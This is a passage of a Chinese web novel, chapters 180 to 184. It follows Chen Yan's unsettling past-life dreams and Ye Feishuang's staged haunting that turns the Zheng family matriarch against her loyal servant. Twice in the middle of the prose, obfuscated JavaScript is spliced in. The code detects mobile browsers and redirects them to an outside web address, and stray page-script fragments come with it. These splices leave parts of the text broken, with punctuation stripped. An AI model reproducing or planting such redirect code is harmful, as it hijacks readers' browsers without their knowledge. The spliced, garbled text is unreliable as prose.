“你若能让她喜欢上你,退了现在的婚,这不就行了?你谢二公子也是个人物,还能比她未婚夫差了?即便差了也没事,你看陈三,他都这样了我表妹也看不上他,有啥用? 谢珩想了想,脸上顿时有了笑容:“是哦。 “对嘛,喜欢就去追,人生在世,不就图个得偿所愿?你看陈三,虽然他很失败……哎! 卢季同被一杯酒劈头盖脸浇了个通透,想用扇子挡都没挡住。 他蹦起来:“陈宴你搞偷袭! 陈宴面无表情:“看我看没完了是吗? “没办法。卢季同潇洒地弹了弹衣襟,“你太典型了。 谢珩被劝通了,心情大好,给陈宴斟了杯酒:“行行行,不说你了,莫生气。 然后又给自己斟了一杯,开始畅想未来:“等本公子追到姑娘,就带来给你瞧瞧,好好扭扭你们歪曲的眼光! “这么好啊?卢季同摇着扇子,“我高低得跟你去看看,到底是哪家姑娘。 是哦,谢珩想,他还不知道那家姑娘是哪家的呢。 一听她有婚约,他就被打击到了,没顾上问。 应该和璐王府有关系,或许是璐王妃那边的亲戚?等去了荥阳后,去璐王府问问就知道了。 哪怕不问,有缘人也自会再见。 谢珩感觉他和那姑娘还挺有缘的,茫茫人海,他们都产生两次美丽的邂逅了。 多好。 第180章 只有一个 卢季同和谢珩一顿酒喝得酣畅,喝完就去小憩了。 陈宴则被陈夫人叫去了主院。 他去了就看见母亲满脸愁容,她的贴身嬷嬷正在给她揉太阳穴。 “母亲为何事烦忧?” 陈夫人瞪了他一眼:“还不都怪你。” 陈宴不想迎面而来一口大锅,无奈道:“儿不知错在何处,请母亲明白告知。” “我着人给赵姑娘说了几门亲,她都不愿嫁。只说想做你的妾,以后跟着你。” “什么赵姑娘?” 陈夫人:“……去年你祖父让你接回来的赵三娘,闺名芳菲。” 陈宴这才记起的确有这么个人。 他还梦见过,这人前世好像还真是他的妾。 陈宴立刻说:“儿不要。” “你都一十八了,你族弟陈瑞和你同岁,他儿子都三岁了,你身边连个人都没有,这哪儿行。我看赵姑娘还不错,不如成全了她这份心。” 陈宴语调淡漠:“儿子专心准备明年的会试,不想因儿女情长而分心。” “那正好,你书房里缺个红袖添香的。赵姑娘饱读诗书,很合适。” “母亲就不怕美人在侧,儿子分了心?” 陈夫人知道自己儿子的品性,对他放心得很:“你有分寸,不会轻易分心。” 陈宴脑中浮现出这段时间总是做的那些不重样的荒唐梦。 “或许母亲对儿子有误解。”陈宴面无表情地说,“我可能并非什么正人君子。” “更不清心寡欲。” “尤其没有分寸。” “十分放浪形骸。” 陈宴起身,一拱手:“客居清净,无需添人,劳母亲费心,愿赵姑娘觅得佳婿,儿告退。” 说罢翩然离开,留陈夫人目瞪口呆。 她掐住嬷嬷的手:“他……他刚才都说了什么?” 嬷嬷:“老奴好像聋了。” 陈夫人怔怔的:“他、他受什么刺激了?他怎么这样贬损自己?” 嬷嬷:“老奴也很迷惑。” 陈夫人坐起身,急道:“快把青岳唤来。” 她要好好问问,她的宝贝儿子到底怎么了,莫非中邪了? 陈宴回客居,露过 一座八角亭时,听见有个瓮声瓮气的声音唤他:“三叔! 他转身望去,八角亭里的小丫头卖力朝他挥了挥手。 陈宴不禁莞尔,转而朝亭子走去。 小丫头从美人靠上爬下来,小胖手抓住他的衣服,仰头望着他:“三叔,我抓住你啦! 陈宴蹲下,拿出帕子给小丫头擦脸:“风寒了? 小丫头吸吸红鼻子:“嗯嗯,药苦苦! 一边的奶娘立刻说:“好姑娘,喝完这碗就再没有了。 小姑娘撅起嘴巴:“我才不相信!奶娘大骗纸,昨天就这么说啦!不对,前天就这么说啦! 陈宴撩袍坐下,把小姑娘抱到凳子上,朝奶娘伸出手:“给我。 奶娘宛如遇到了救星,立刻把药碗递过来。 小丫头瘪着嘴巴不肯喝,但是架不住她三叔抛出的一个个诱人条件,很快就被诱哄着把一碗药喝光了。 陈宴捏了颗糖喂给她,小姑娘腮帮子鼓鼓地含着,摸出一根花绳来让陈宴和她玩。 于是睡醒的卢季同和谢珩找出来,看见的就是在八角亭里陪小丫头翻花绳的陈宴。 他蔫儿坏,故意把花绳弄得特别复杂,让小丫头解不开,急得抓耳挠腮。 他再告诉小丫头,只需要动某一根绳就行,小丫头照着做了,花绳果然变了个样,小丫头立刻不住嘴地夸赞:“三叔好厉害! 谢珩:“嚯! 卢季同早就见怪不怪了:“对咱们多没耐心,对小孩子就多有耐心。 谢珩乐了:“实在看不出来啊。 陈宴这人的气质,只会让人觉得若是有小孩子在他面前哭了,他一定会冷着脸不耐烦地让小孩子有多远滚多远。 而不是把小孩子抱在膝头,耐心诱哄说别哭了。 没多久,一位中年女医找了过来,把小丫头抱走了。 这位女医是小丫头的母亲、即陈宴大嫂——荣淑长公主身边的女医,在妇女、孩童的病症上颇为精通。 陈宴没想到白天才和这位女医有一面之缘,晚上他就梦到了对方。 梦里,也是一个倒春寒的时节。 女医被带到陈宴面前,关切地问:“敢问陈大人有何不适? 陈宴 直言:“有没有避子的药?” “避子汤么?有。”女医立刻写下一副方子,说,“每次房事后服下。” “每次?天天喝不得把人喝出毛病来?”陈宴明显不满意,“有没有一劳永逸的法子?” “那就不是避子汤了,是绝子汤。” 陈宴说:“写一张。” 女医目露疑惑。 绝子汤药性烈,一般都是青楼的鸨母给楼里的姑娘们用,当然也有一些官员老爷们给妾室用,但那都是地位很低、只用来玩玩的妾室。 这位陈大人,看着芝兰玉树的,不像那种人,没想到也…… 唉,男人啊。 方子很快写好,陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115905|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴也通些医理,光看认识的那几味药就知道这方子的药性有多烈。 他眉头微蹙:“这方子可会给人留下余病?” “不可避免。”女医说,“有的人会月信来时腹痛难忍,有的会体寒畏冷,有的会有下红之症,不一而足。当然也有体质好运气好的,吃完药后疼上两天,以后就没事了。” 女医的话还没说完,陈宴就把那张方子揉成一团,扔进了火盆里。 他道:“我听说男子服绝子汤倒是没这么多余病,开一张。” 女医这下是彻彻底底愣住了,但这位陈大人满脸正色的表情告诉她她没有听错。 女医结巴起来:“谁、谁要用?” 陈宴笑了:“自然是本官。” “您、您……陈大人,您……” “写一张。” 女医后悔了,她就不该来。 她说:“我不会。” 陈宴淡笑着看着女医,很快就把她看得心虚不已。 女医哭丧着脸:“陈大人,您别为难我了,这方子我实在不能开啊。若是被长公主和驸马爷知道了,我这脑袋别想要了。” 这位陈大人是颍川陈氏未来的家主,他不传宗接代? 但是她怎么拗得过铁面郎官陈大人,最后还是被迫写了一张男子用的绝子汤。 “别写假方子啊。”陈宴笑吟吟地说,“不然本官就剁了你这双手,知道吗?” 女医最后还在挣扎:“陈大人,想避子有很多法子,您可要三思啊,给自己留条后路。” 陈大人扬眉:“用肠衣?鱼鳔?那不行,那多不爽。” 女医:“……” 陈宴着人把药煎出来,毫不犹豫就饮尽了。 他慢条斯理地擦嘴,懒洋洋地说:“在世为人,本官只要一晌贪欢,不需要什么退路。” 女医心如死灰地问:“陈大人,您为何……为何要如此?” “因为本官的枕边人不能生子,否则她会死。” 女医震惊到快要裂开了,她怀疑这位陈大人是不是疯了。 “不是还有其他人……”哪个男人没个三妻四妾?一个不能生就换下一个。 陈宴懒散地支着脸:“可本官身边只有一个人,怎么办?” 女医都麻了,她哪儿知道怎么办? “嘘,保密。”陈宴说,“你知我知,莫要让第三人知道。” 女医连连点头。 她肯定要保密,她又不是嫌命长了。 陈晏醒来后,人都是懵的。 每当他觉得自己不会再被什么事情所震惊时,就会有一个梦给他带来新的震撼。 第181章 闹起鬼了 天儿逐渐暖了,郑府的流言也愈演愈烈,四房仿佛成了鬼窟狼窝。 小桃都快气**,偏她家姑娘还和个没事人似的,日子该怎么过还怎么过。 今天杜知府下值比较早,叶绯霜本想在万福居请他吃饭,但是杜知府说外边人多眼杂的,就在家里吃吧。 叶绯霜拿了两坛自己酿的酒,杜知府着人准备了一桌小菜,然后给叶绯霜讲起了她二伯郑清的事。 “六哥大我九岁。我们第一次见面时,我十岁,他十九,我被幽山的山匪劫了,那群山匪想杀我,他把我保了下来。” 叶绯霜点头,这她已经知道了。 “当时护送我进京的人都**,钱财也被洗劫一空,我吓坏了,大病一场,六哥细心照顾我。我病好了之后,幽山六虎就带着我离开了幽山寨,然后我们就分道扬镳了,六哥送我进京,其余五个哥哥去了金陵。” 说起往事,杜知府的目光变得幽远而怀念:“六哥是个好人,聪慧善良,为人和善。我就想,我要当大官,然后保荐六哥出仕,让他也做官,他一定会是个好官。” “可是我出仕的第二年,六哥就去了。他小时候受得磋磨太多,身体一直不好,没有挺过去。” 叶绯霜轻声道:“是,二伯小时候一定吃了许多苦。我听我爹说,二伯的眼睛还失明过一段时间,后来好了吗?” 杜知府点头:“后来好了。” “那就好。” 叶绯霜又问:“杜大人可否讲讲我二伯的娘亲,也就是杨姨娘?” 杜知府脸上的神情更加凝肃了几分。 “六哥说,他娘亲比老国公大四岁,是老国公的第一个通房。杨姨娘是个很温柔的女子,待人也和善,在府里人缘颇好。所以被后来的国公夫人,也就是现在的郑老太太视为眼中钉。” “先帝在位时,就已经开始削弱世家的势力了,所以当时几个世家的家主为了不惹先帝忌惮,选择了娶小户女为妻。若非如此,老秦氏也不可能嫁给老国公。” 这个叶绯霜也知道,她前世就问过陈宴,为何堂堂国公爷会从名不见经传的秦家选一个女子为正妻,陈宴也是这么解释的。 “老秦氏一朝飞上枝头,成为了国公夫人。一边享受着荣华富贵,一边担心自 己的前途总觉得有人在谋算她的国公夫人之位对于老国公的妾室们多有忌惮。” “直到她生下嫡长子她才觉得地位稳固了些。其实早些年老国公的妾室们有孕的不少只是都没有生下来罢了。杨姨娘也是在小产两次后才生下六哥。” “其实知道杨姨娘怀的是个男胎后老秦氏就不想让这个孩子出生。但当时给杨姨娘保胎的大夫是个好人他尽力保下了这一胎但杨姨娘还是不可避免地落下了病根在六哥五岁的时候去了。” “不瞒杜大人郑府最近流言纷纷应该是那老太婆在搞鬼。”叶绯霜说“我想借力打力但是怕冒犯到二伯和杨姨娘。” “不要紧你尽管去做。”杜知府温和地说“六哥和杨姨娘会理解的他们恨透老秦氏了。” 叶绯霜又和杜知府聊了许久。她走后杜知府回到了书房。 书房里边用一个大书架做了个隔间隔间里边是一张供桌 杜知府打开木匣子里边是一个拨浪鼓。 拨浪鼓因为把玩得少看起来还很新。鼓面和鼓柄上有些陈旧的暗红色血迹诉说着这其实是件陈年旧物。 杜知府把木匣子阖上恭恭敬敬地上了三炷香。 转眼到了四月郑氏一族将有一件大事——宗族大祭。 今年的四月十三将是第一位成国公离世两百年整的日子。 这位郑氏先祖在前朝以白身发迹开创了郑氏一族簪缨不替的时代其勋业彪炳千古。 于是不光郑府整个郑氏一族都忙忙碌碌为宗族大祭做准备。 但这并不妨碍府里流言的传播只是这流言最近有点变味儿了。 晚上叶绯霜正在绞尽脑汁写话本子小桃鬼鬼祟祟地进来低声说:“姑娘府里闹鬼了!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115906|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶绯霜放下笔:“哦?” “是二门那儿看门的伍婆子说的。她说昨晚锁门的时候瞧见园里有一个女鬼!头发长长的白衣裳上边都是血可吓人了!” “有这事?” “不止呢!”小桃一说八卦就来劲“伍婆子一说许多人都附和说她们都见过!” 于是接下来的流言就从“四房不详” 转为了“郑府闹鬼”。 当然女鬼的样子也越来越详细。 “那女鬼是个瘸子!她只有一条腿!” “她还和我喊冤呢!让我给她报仇!那嗓子就和吞过炭似的难听得厉害可瘆人了!” “我瞧见她的脸了!妈呀她脸上都是血活像让人把脸皮剥了下来!” 说瞧见脸的是园子里一个侍弄花草的小丫鬟活活给吓病了听说她爹娘天天晚上给她叫魂。 说的人越来越多自然也就传到了鼎福居。 罗妈妈把房门关紧和郑老太太把闹鬼的事复述了一遍。 郑老太太直接坐了起来惊道:“从哪儿传出来的?” 罗妈妈脸色煞白:“不知道啊许多人都说见过……” 郑老太太一双三角眼写满了厉色:“是不是五丫头搞的鬼?” 罗妈妈颤声道:“不能吧?她怎么会知道几十年前的事呢?听下人们说那女鬼的模样活像是杨姨娘!莫非莫非真是她回来了?” “糊涂!”郑老太太怒骂“我看你个老货也是头脑不清楚了这世上哪有什么鬼怪!” 罗妈妈又害怕又委屈毕竟当年对杨姨娘的许多事就是她亲手做的。那时候年轻天不怕地不怕现在老了胆子也小了。 她想说你要是不怕你在二房的院子外边请人摆什么阵法? 罗妈妈越想越觉得像杨姨娘于是偷偷去二房外边看了看。 这不看不知道 她慌忙回了鼎福居吓得老泪淌了一脸:“老太太肯定是她出来了!那阵法破了压不住她了她变成厉鬼找咱们来了!” 第182章 吓破胆了 郑老太太不信邪,立刻派人去二房外边看,果然如罗妈妈所言,有几块大石头的位置变了。 郑老太太大惊,忙对罗妈妈说:“快给明觉大师传信,问问他现在到哪儿了!” 郑老太太心口疼了起来,不断哎呦叫唤着,傅湘语连忙给她顺气。 “外祖母,这位明觉大师是谁呀?” “一位旧相识。”郑老太太说,“当年二房的人都死绝了,我觉得不吉利,于是请明觉大师在二房外边摆了个法阵,想改改风水。” 傅湘语心道,这二房的“死绝”想必和外祖母脱不了干系。 但她很识趣地不多问,只做出懵懂无知的样子来:“那现在府里传的闹鬼,和二房有关吗?” “没有!”罗妈妈矢口否认,“二房都是几十年前的老黄历了!” “时间再久也没用。”傅湘语正色道,“外祖母,您当初做主让姨母嫁给四老爷,这事做的不也是神不知鬼不觉?可过了这么些年,不还是被人挖了出来,害您栽了这么大的跟头!” 郑老太太和罗妈妈神色复杂地对视了一眼。 傅湘语继续道:“我就是觉得府里闹鬼和叶绯霜有关。本来传言是对四房不利的,可是自打传出闹鬼,再没人说四房了,肯定是她在搞鬼!” 罗妈妈摆手:“不能不能,别说她了,杨姨娘走的时候,她爹都还没出生呢!这府里的人都换了好几茬了,还有几个记得三四十年前的事?” 说到这里,罗妈妈倒是放心了不少:“嗐,咱们怎么还自个儿吓唬起自个儿来了?下人们嚼舌根说些风言风语,咱们怎么还信了呢?哪有什么鬼怪。” 与其说她在安慰老太太,不如说在安慰她自己。 对,没有鬼,更不会是杨姨娘。 可谁知才过了两天,这传言就更加具体了—— 一个小丫鬟哭着说:“昨儿晚上那女鬼和我说话了!她说她是杨姨娘,让我给她报仇!我要是不听她的,她就要杀了我!” 其它小丫鬟问:“谁是杨姨娘?” 有资历的婆子仔细想了想,才终于想起来:“杨姨娘?莫非是二老爷的生母?” “啊?他们都死了好几十年了吧?” “呦,这么些年了还没投胎呢?这得是多厉的鬼啊,怨气得多大啊!” 一群小丫鬟吓破了胆,相约晚上结伴去二房外边烧纸,争取把杨姨娘送走。 即便送不走,也别再来找她们了。 她们一群粗使小丫鬟,怎么给她报仇啊! 这话传到罗妈妈耳朵里,她再也不能自欺欺人了。 怕是杨姨娘真的出来了。 罗妈妈也偷偷给杨姨娘烧纸,低声念叨着:“你走吧,别缠着我们了。等明觉大师来了,我请他给你做场法事,让你投胎去个好人家,下辈子享清福……” 跟她一块儿烧纸的小丫鬟说:“罗妈妈,您在这儿烧纸杨姨娘也收不到啊,她进不来鼎福居!您得去二房那儿烧才行。” 罗妈妈觉得有道理,于是提了一筐香烛纸钱,趁着夜色偷偷去了二房外边。 她其实怕得厉害,想多叫些人给自己壮胆,但又怕让人看出自己心虚,从而联想到什么。 人就是这样,心里有了鬼,就感觉怎么做都不对。 夜间起了风,把罗妈妈的纸钱吹得到处都是。 小丫鬟瑟瑟发抖:“这怎么阴风阵阵的呢?是不是鬼要来了?罗妈妈,我害怕!” “小贱蹄子闭上你的嘴!”罗妈妈也怕,颤声说,“赶紧走了!” 谁知刚一转身,墙根就蹿出来一个影子。 是个女人,不高,消瘦,穿着淌血的白衣裳,长长的头发覆着脸。 她的声音嘶哑嘲哳:“罗妈妈,你也来送我走吗?我就是来找你的啊!” 她撩起头发,露出一张鲜血淋漓的、看不清五官的脸。 小丫鬟吓得大叫一声,拔腿就跑了。 而罗妈妈双目圆睁,嘴巴大张,直接吓呆了:“你……你……” 女鬼一瘸一拐地逼近她:“罗妈妈,我的腿好疼啊!” “我的脸也好疼!” “还有我的嗓子!” “你还我命来!” 罗妈妈也想跑,但年纪大了,两条腿也已经软成了面条,一步都还没迈出去,就栽到在了地上。 女鬼朝她一步步逼近,不住地讨要腿、脸和嗓子。 “你别过来!我没害你!”罗妈妈坐在地上不断往后躲,吓得肝胆俱裂,连声道,“当初,我……我是奉了老太太的命令,是老太太容不下你们母子!你想索命,你也不该和我索啊!” 这话被匆匆赶来的傅湘语听了个正着。 傅湘语只看见夜色凄清,纸钱在风中漫天飞,罗妈妈独自一人坐在地上,嘴里说着不能为外人所知的话。 傅湘语面容阴沉,立刻让自己的人捂住罗妈妈的嘴把她拖回了鼎福居。 罗妈妈披头散发,见到郑老太太,立刻大声哭喊起来:“老太太,是她!是杨姨娘,真的是她!” 傅湘语俯身贴在郑老太太耳边,把罗妈妈刚才念叨的话低声讲了一遍。 郑老太太一张老脸顿时阴云密布,看向罗妈妈的目光满是寒气与厉色。 吓破胆的罗妈妈并未察觉,她还在嚷嚷:“老太太,真的是她,她向咱们索命来了!除了她,谁还知道咱们把她的腿和脸……唔唔……” “闭嘴!”郑老太太厉声喝止了罗妈妈的话。 “外祖母,这老妇随便让人一吓,就说出了许多对您不利的话,不是忠仆。”傅湘语低声道,“稳妥起见,最好还是除掉为妙。” 郑老太太闭上眼,深沉地叹了口气。 罗妈妈跟着她来到郑府,迄今为止已经快五十年了。 她们一起在郑府站稳脚跟,一起走过风风雨雨。 当初的许多点子,就是罗妈妈出给她的。 年轻时天不怕地不怕的人,年老了,也变得不惊吓了起来。 郑老太太看向罗妈妈的眼神里,有心痛,有不舍,也有失望和狠戾。 但她最终还是对这个陪伴了自己大半辈子的老仆存了恻隐之心,只说:“把她关起来,严加看守。” 她狠不下心去要罗妈妈的命。 罗妈妈被带了下去,房间内瞬间安静了下来。 郑老太太脸色铁青,叫来鼎福居的暗卫首领,怒道:“给我去搜!去各房仔细地搜!我倒要看看到底是谁在装神弄鬼!” 第183章 我在求你 叶绯霜回了玉琅阁后,立刻把衣服烧了。 小桃小声问:“姑娘,以后不用了吗?” “已经够了,再用就要出事了。”火光把叶绯霜的脸映得红彤彤的,“这次吓的是罗妈妈,她还说出了对老太太不利的话,老太太必会着人严查。” 小桃又问:“姑娘为何不直接绑了罗妈妈,把她带到族长面前去?不信她不吐个干干净净。” “那可不行,你忘了陶妈妈了?” 陶妈妈是秦氏身边的管事妈妈,在秦氏出事后,陶妈妈直到被活活打死,也没说出一个对秦氏不利的字来。 罗妈妈陪着老太太的时间比陶妈妈陪着秦氏的还要长,感情也更加深厚。 “那姑娘打算怎么办?” 叶绯霜挑着火盆:“有个词叫‘因隙间亲’,就是利用嫌隙破坏亲密关系。” 郑老太太未必舍得对罗妈妈下狠手,罗妈妈也未必会背叛郑老太太。 需要有人从中添柴加火。 她思忖片刻,吩咐小桃:“明日,你再悄悄把明秀带来见我一趟。” 明秀是鼎福居的下等丫鬟,一直和小桃交好。 因为老实本分干活卖力,她一直没有被换出鼎福居,甚至还比以前得重用了。 今天跟着罗妈妈去烧纸的就是她。 前年老太太在鼎福居为难她们一家子,还是明秀和小桃通了信,从而帮了她大忙。 那之后,她就一直记着明秀这个人。 过了一会儿,果然有人来玉琅阁搜寻了,当然什么都没有搜出来。 小桃在心里给她家姑娘竖起大拇指。 接下来几天,叶绯霜没有再装神弄鬼,只是让传言更加具体了一些—— “你们听说没?杨姨娘死之前,让老太太把腿给打断了!” “怪不得她变成鬼后还一瘸一拐的呢!” “我还听说,老太太嫉妒杨姨娘长得好看,把杨姨娘的脸皮给生生扒下来了!所以杨姨娘的脸才血淋淋的。” “杨姨娘不光长得好,声音也好听,老太太就给杨姨娘嘴里塞了炭,活活把杨姨娘的嗓子给烫坏了!” “不止呢,老太太还给二老爷饭菜里下毒,把二老爷的眼睛给毒瞎啦!” “呦,那二老爷死得也够惨的。” “老太太可真狠。” 郑老太太听到傅湘语的转述,气得不行,又着人把罗妈妈带了过来。 她怒气冲冲地把金丝引枕砸在了罗妈妈身上,喝道:“说!当年之事,你都和谁说过!” 罗妈妈哭起来:“老太太,那些事我都烂在肚子里了,一个人都不曾提起啊!” “胡说!你若没往外传,旁人是怎么知道的?”郑老太太气得三角眼都瞪成了圆眼,“当年我只派你一个人去处置杨氏,她断腿扒皮也都是你一人所为,此事只有你我她三人知道!她早就死了,若不是你往外说的,还能是我说的吗?” 郑老太太呼哧喘气:“这些年来,我只当你是个得力的,不曾想你长了张漏风的嘴!” 傅湘语则道:“罗妈妈,外祖母安排姨母嫁给四老爷这事,是不是也是你泄露出去的?差点给外祖母惹来天大的祸端!” “不是老奴啊!”罗妈妈哭天喊地,“老奴发誓,若老奴把往事泄露出去半个字,就让老奴烂了舌头!” 罗妈妈一边喊冤一边磕头,磕得脑门都青了一大片,但明显还是没有得到郑老太太的信任。 人心就是如此,一旦生出疑窦,就再难消除了。 一些天知地知你知我知的事,你我都没说,还能凭空泄露出去?岂不是太荒唐。 傅湘语低声道:“外祖母,这老妇嘴上没个把门的,防止以后再泄露出更多对您不利的消息,您最好还是处置了她。” 郑老太太看向罗妈妈的眼神里,只余寒霜。 罗妈妈跟了郑老太太一辈子,何尝不知道她现在在想什么。 她亦觉寒心。 她从涂州跟着她来到荥阳,让她坐稳了国公夫人的宝座,自己也跟着水涨船高,成了阖府最体面的妈妈。 本以为可以安享晚年,死后在主人家点一出好穴葬了,这辈子也就算值得了。 不曾想,几十年的主仆情厚,却在临了生出嫌隙,让她连个善终都没有。 罗妈妈不再求饶,给郑老太太磕头,心如死灰地说:“老夫人,念在老奴伺候了您一辈子的份儿上,留老奴一个全尸吧。” 郑老太太闭目招手,着人把罗妈妈带了下去。 没多久,有下人来禀告:“罗妈妈悬梁自尽了。” 郑老太太靠在床头,浑浊的老眼终于淌下泪来。 傅湘语连忙安慰她:“外祖母莫要伤怀,等宗族大祭后,您就宣布身体好转,到时候就不必日日在这鼎福居里窝着了。我再给您挑些得力的人伺候,您往后的日子肯定舒坦顺意。” 郑老太太点了点头,叫了另外一个老嬷嬷过来,问:“明觉大师到了吗?” “已经到城里了。” 郑老太太说:“请大师入府,把二房外边的阵法重新摆一摆。” 虽然她不信鬼邪,但是那个阵法被破坏了,她心里就很不安生。 叶绯霜是去书肆送话本子的时候,听见人们议论说最近城里来了位德高望重、佛法深厚的大师。 但是因为去年发生了白溪寺那件事,导致大家现在对所谓的“大师”不是很信服。 一位年轻学子说:“这位大师和白溪寺那些货色不一样,人家是真的大师,逸真大师的师弟!” 有人问:“哦?那他也在宁国寺吗?我怎么没听过他的名号?” “他许多年前就离开宁国寺了,应该去别处宣扬佛法或者讲经去了吧。” 叶绯霜起了兴趣,准备晚上回去后和萧序打听打听他这位师叔。 从书肆出来后,她去了璐王府,今天该教她那奋发图强的好大徒新枪法了。 谁知宁衡说:“师父,陈宴来了,在等你,说有要紧事找你。” 叶绯霜在花厅见到了陈宴。 他依旧是一身不染纤尘的流云锦广袖袍,玉冠束起半数青丝,一副清雅出尘的装扮,但偏偏神情倦怠,仿佛已经很久没有好好休息了。 叶绯霜觉得挺稀奇。前世,陈宴不分昼夜查案时、夜以继日修律时,都不曾流露出这样倦怠的神情。 叶绯霜靠在门口:“陈公子找我何事?” 陈宴望向她,日光照进他幽深的瞳眸里,显得他的目光格外的深邃。 这一刻,叶绯霜觉得他是在看自己,却又仿佛透过自己在看别人。 他开口,声音低沉微哑:“有一件事实在困惑,希望五姑娘解答。” “你说。” “前世,你我有生儿育女吗?” 叶绯霜:“……” 叶绯霜:“?” 她想破脑袋也无法想到他会有此一问。 陈宴走到她面前,垂眸看着她,喉结微微一滚,又说:“叶绯霜,只要你把前世之事和我说个明白,你提什么要求我都答应你。” “陈公子,你别诈我了,我真……” “我没有诈你。”陈宴打断她,他微微闭目,深吸一口气,无奈至极地说,“我在求你,你告诉我吧。光靠我自己,我实在想不明白。” 梦中的他,和现实中的他判若两人。 所以对方做的那些事,他实在想不明白。 他连推论都不知道该从何推起。 他只能来问她,求她给他一个明白。 第184章 他快疯了 前两天,陈宴的族弟陈瑞去找了他。 陈瑞和陈宴同岁,比陈宴只小一个月。 两人小时候关系并不是很好。 陈宴自小就被陈老爷子教得温和守礼,而陈瑞是个混不吝,成天斗鸡走狗、不务正业。 两人第一次见面是在族学里,陈瑞觉得陈宴一副小君子的模样是装的,总想法子作弄陈宴,想让陈宴出丑。 然而他那点小手段都不够陈宴看的,闹来闹去,大多数闹剧都反噬到了陈瑞自己身上。 陈瑞起初生气,再后来反而有点佩服陈宴了。 一次校场比箭后,陈瑞就彻底对陈宴心服口服了,因为他被陈宴的几支箭钉在了树上,其中任何一支箭只要稍微偏上半寸,就够他受的了。 打那之后,陈瑞就和变了个人似的,也不撩猫逗狗了,也不游手好闲了,反而化身为陈宴跟班,跟在他后边念书,和他一起学君子六艺。 陈瑞步入了正途,后来收了一个伺候他许多年的丫鬟当通房,两人生了个孩子。 陈瑞来找陈宴的时候还带上了他儿子,三岁的小男孩虎头虎脑,被教养得很好,半点没有他爹小时候的样子。 陈宴一边逗小侄子,一边和陈瑞聊明年的乡试会试。 “你中进士后就直接留京任职了吧?”陈瑞问。 陈宴颔首:“是。” 陈瑞搓搓手:“那我可得努力了,争取今年乡试中了,明年和你一块儿会试去,要是也能中,就跟你一块儿留京。你说我能中吗?” 陈宴很干脆:“不能。” 陈瑞被打击到了:“乡试不能还是会试不能?” “都不能。” 陈瑞:“……” 他悻悻地挠了挠脸,也不敢质疑陈宴的话,毕竟乡试的资格还是他靠纳粟入监买来的,他目前连秀才都还没中。 他已经参加四次童试了,都没过,唉。 陈宴毫不留情地补刀:“你的脑子最后能中个秀才就已经相当不错了,后边就别想了,不如把时间用在准备武试上,可行性还高些。” 陈瑞:“唉,行吧。” 谁让他们颍川陈氏的家风就是如此呢?想做官,就凭本事去做,家族绝不荫庇庸才。 陈瑞一拍大腿,意气风发地说:“到时候你主文,我主武,咱兄弟二人叱咤朝堂!” 陈宴懒得再打击他了。 兄弟二人一起用了膳,饮了酒。陈瑞回忆了当初,畅想了未来,指天誓日地说自己定要出人头地,和陈宴在官场上互相扶持,当一辈子好兄弟。 陈瑞醉醺醺地让人架去客房了,陈宴沐浴完毕,上床睡觉。 当晚他就梦见陈瑞了。 在梦里,他把陈瑞给杀了。 还不是一刀干脆地杀了,他把陈瑞凌迟了。 鲜血淋漓的陈瑞被挂在架子上,腰腹上的肉已经没有了,露出了森森肋骨。 偏他还没有死,每一次喘息,肋骨都在轻微起伏。 陈宴站在陈瑞面前,手里拿着一把锋利的匕首,刀尖从上至下划过陈瑞的肋骨,便是酷刑“弹琵琶”。 陷入昏迷的陈瑞被痛醒,浑身震颤,撕心裂肺地惨叫起来。 陈宴仿佛在听什么美妙的乐曲,优哉游哉地从陈瑞腿上割下一片薄薄的肉,喂到他嘴边,笑吟吟地说:“来,吃了。” 陈宴醒来后,胃里翻江倒海。他冲出房间,在清新的晨雾中干呕了半天。 陈瑞的惨状在眼前不断浮现,惨叫声实质般撞击着陈宴的耳膜,让他恶心无比,头痛欲裂。 宿醉刚醒的陈瑞也出来了,见状,急忙走到陈宴身边,给他拍了拍背,关切地问:“你这是怎么了?” 陈宴回头看了一眼陈瑞,恶心得更厉害了。 陈瑞顿时心碎成渣:“……三哥你这就过分了,我长得有那么恶心吗?” 梦中景象无法和他人言说,只得陈宴独自消化。 他之前推断出有个“前世”的时候有多自信,现在就有多苦闷。 这一个接着一个的荒唐梦境下来,把他砸得晕头转向。 非但没有让他对“前世”更加笃定,反而产生了怀疑。 主要是实在无法接受梦中的人是自己。 他开始期盼,并没有所谓的前世,那只是荒诞不经的梦而已。睡醒了,就消失了,从来不曾真实发生过。 陈宴就在“前世真的存在”和“那只是梦境”之间反复摇摆,快被这样的矛盾给逼疯了。 他是真没招儿了,而他又必须弄清楚,他只能来问叶绯霜。 “陈公子又做了什么大梦?怎会问出生儿育女这样的问题?” 陈宴垂下眼睫,薄唇翕动了半晌,才哑声说:“我梦见,我饮了一碗绝子汤。” 叶绯霜怀疑自己聋了:“你饮了什么?” “绝子汤。” 叶绯霜:“……” 饶是她每次面对陈宴时已经提起了十二分的戒心,这一刻还是掩饰不住震惊。 “你这梦也太荒唐了。” 对他们这种人来说,传宗接代、为家族绵延香火乃是首要任务,看她五叔郑丰就知道了,为了生儿子得多努力。 陈宴要自绝子嗣,这根本不可能,除非他疯了。 “我也觉得荒唐,所以叶绯霜,你告诉我,我们有孩子对不对?我梦里的都是假的,对不对?” 他没有杀了璐王一家,没有杀了陈瑞,没有杀了郑茜霞,对不对? 